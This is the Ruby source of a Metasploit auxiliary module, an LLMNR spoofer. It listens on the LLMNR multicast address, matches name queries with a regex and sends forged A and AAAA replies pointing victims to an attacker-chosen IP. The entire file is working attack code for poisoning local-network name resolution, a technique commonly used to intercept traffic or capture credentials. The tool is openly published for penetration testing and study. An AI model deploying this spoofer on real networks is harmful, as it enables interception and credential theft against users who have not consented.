Path: blob/master/modules/auxiliary/spoof/llmnr/llmnr_response.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'socket'6require 'ipaddr'7require 'net/dns'89class MetasploitModule < Msf::Auxiliary1011include Msf::Exploit::Capture1213attr_accessor :sock, :thread1415def initialize16super(17'Name' => 'LLMNR Spoofer',18'Description' => %q{19LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to20resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests21sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.22},23'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],24'License' => MSF_LICENSE,25'References' => [26[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]27],2829'Actions' => [30[ 'Service', { 'Description' => 'Run LLMNR spoofing service' } ]31],32'PassiveActions' => [33'Service'34],35'DefaultAction' => 'Service',36'Notes' => {37'Stability' => [OS_RESOURCE_LOSS],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)4243register_options([44OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '']),45OptRegexp.new('REGEX', [ true, 'Regex applied to the LLMNR Name to determine if spoofed reply is sent', '.*']),46OptInt.new('TTL', [ false, 'Time To Live for the spoofed response', 30]),47])4849deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')50self.thread = nil51self.sock = nil52end5354def dispatch_request(packet, rhost, src_port)55rhost = ::IPAddr.new(rhost)5657# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped58# addr like "::ffff:192.168.0.1" when the interface we're listening59# on has an IPv6 address. Convert it to just the v4 addr60if rhost.ipv4_mapped?61rhost = rhost.native62end6364dns_pkt = ::Net::DNS::Packet.parse(packet)65spoof = ::IPAddr.new(datastore['SPOOFIP'])6667# Turn this packet into a response68dns_pkt.header.qr = 16970dns_pkt.question.each do |question|71name = question.qName72unless name =~ /#{datastore['REGEX']}/i73vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")74next75end7677if should_print_reply?(name)78print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")79end8081# qType is not a Integer, so to compare it with `case` we have to82# convert it83case question.qType.to_i84when ::Net::DNS::A85dns_pkt.answer << ::Net::DNS::RR::A.new(86name: name,87ttl: datastore['TTL'],88cls: ::Net::DNS::IN,89type: ::Net::DNS::A,90address: spoof.to_s91)92when ::Net::DNS::AAAA93dns_pkt.answer << ::Net::DNS::RR::AAAA.new(94name: name,95ttl: datastore['TTL'],96cls: ::Net::DNS::IN,97type: ::Net::DNS::AAAA,98address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s99)100when ::Net::DNS::ANY101# For ANY queries, respond with both an A record as well as an AAAA.102dns_pkt.answer << ::Net::DNS::RR::A.new(103name: name,104ttl: datastore['TTL'],105cls: ::Net::DNS::IN,106type: ::Net::DNS::A,107address: spoof.to_s108)109dns_pkt.answer << ::Net::DNS::RR::AAAA.new(110name: name,111ttl: datastore['TTL'],112cls: ::Net::DNS::IN,113type: ::Net::DNS::AAAA,114address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s115)116when ::Net::DNS::PTR117# Sometimes PTR queries are received. We will silently ignore them.118next119else120print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")121next122end123end124125# If we didn't find anything we want to spoof, don't send any126# packets127return if dns_pkt.answer.empty?128129udp = ::PacketFu::UDPHeader.new(130udp_src: 5355,131udp_dst: src_port,132body: dns_pkt.data133)134udp.udp_recalc135if rhost.ipv4?136ip_pkt = ::PacketFu::IPPacket.new(137ip_src: spoof.hton,138ip_dst: rhost.hton,139ip_proto: 0x11, # UDP140body: udp141)142elsif rhost.ipv6?143ip_pkt = ::PacketFu::IPv6Packet.new(144ipv6_src: spoof.hton,145ipv6_dst: rhost.hton,146ip_proto: 0x11, # UDP147body: udp148)149else150# Should never get here151print_error('IP version is not 4 or 6. Failed to parse?')152return153end154ip_pkt.recalc155156capture_sendto(ip_pkt, rhost.to_s, true)157end158159def monitor_socket160loop do161rds = [sock]162wds = []163eds = [sock]164165r, = ::IO.select(rds, wds, eds, 0.25)166167if !r.nil? && (r[0] == sock)168packet, host, port = sock.recvfrom(65535)169dispatch_request(packet, host, port)170end171end172end173174# Don't spam with success, just throttle to every 10 seconds175# per host176def should_print_reply?(host)177@notified_times ||= {}178now = Time.now.utc179@notified_times[host] ||= now180last_notified = now - @notified_times[host]181if (last_notified == 0) || (last_notified > 10)182@notified_times[host] = now183else184false185end186end187188def run189check_pcaprub_loaded190::Socket.do_not_reverse_lookup = true # Mac OS X workaround191192# Avoid receiving extraneous traffic on our send socket193open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })194195# Multicast Address for LLMNR196multicast_addr = ::IPAddr.new('224.0.0.252')197198# The bind address here will determine which interface we receive199# multicast packets from. If the address is INADDR_ANY, we get them200# from all interfaces, so try to restrict if we can, but fall back201# if we can't202bind_addr = begin203get_ipv4_addr(datastore['INTERFACE'])204rescue StandardError205'0.0.0.0'206end207208optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton209self.sock = Rex::Socket.create_udp(210# This must be INADDR_ANY to receive multicast packets211'LocalHost' => '0.0.0.0',212'LocalPort' => 5355,213'Context' => { 'Msf' => framework, 'MsfExploit' => self }214)215sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)216sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)217218self.thread = Rex::ThreadFactory.spawn('LLMNRServerMonitor', false) do219monitor_socket220end221222print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")223224add_socket(sock)225226thread.join227end228229def cleanup230if thread && thread.alive?231thread.kill232self.thread = nil233end234sock.close235close_pcap236end237end238239240